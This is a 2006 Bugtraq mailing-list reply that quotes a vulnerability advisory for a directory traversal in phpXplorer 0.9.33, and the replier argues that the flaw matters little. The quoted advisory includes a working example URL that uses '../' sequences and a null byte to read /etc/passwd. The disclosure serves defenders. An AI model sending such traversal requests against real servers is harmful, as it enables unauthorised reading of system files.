[42304] in bugtraq
Re: Directory traversal in phpXplorer
daemon@ATHENA.MIT.EDU (Stan Bubrouski)
Wed Jan 18 16:50:42 2006
Message-ID: <122827b90601161200n171126bfu25ab819edd70e895@mail.gmail.com>
Date: Mon, 16 Jan 2006 15:00:47 -0500
From: Stan Bubrouski <stan.bubrouski@gmail.com>
To: Oriol Torrent <oriol.torrent@gmail.com>
Cc: bugtraq@securityfocus.com
In-Reply-To: <43CB7118.1090905@gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Seeing as phpXplorer allows the upload and editing of live PHP files
anyways it seems to me this exploit is completely useless. You can
use the script as intended to cat the password file if you want.
Right?
-sb
On 1/16/06, Oriol Torrent <oriol.torrent@gmail.com> wrote:
> ==========================================================
> Title: Directory traversal in phpXplorer
>
> Application: phpXplorer
> Vendor: http://www.phpxplorer.org
> Vulnerable Versions: 0.9.33
> Bug: directory traversal
> Date: 16-January-2006
> Author: Oriol Torrent Santiago < oriol.torrent.AT.gmail.com >
>
> References:
> http://www.arrelnet.com/advisories/adv20060116.html
>
> ==========================================================
>
> 1) Background
> -----------
> phpXplorer is an open source file management system written in PHP.
> It enables you to work on a remote file system through a web browser.
>
>
> 2) Problem description
> --------------------
> An attacker can read arbitrary files outside the web root by sending
> specially formed requests
>
> Ex:
>
> http://host/phpXplorer/system/workspaces.php?sShare=../../../../../../../../etc/passwd%00&ref=1
>
>
> 3) Solution:
> ----------
> No Patch available.
>
>
> 4) Timeline
> ---------
> 17/12/2005 Bug discovered
> 20/12/2005 Vendor receives detailed advisory. No response
> 04/01/2006 Second notification. No response
> 16/01/2006 Public Disclosure
>
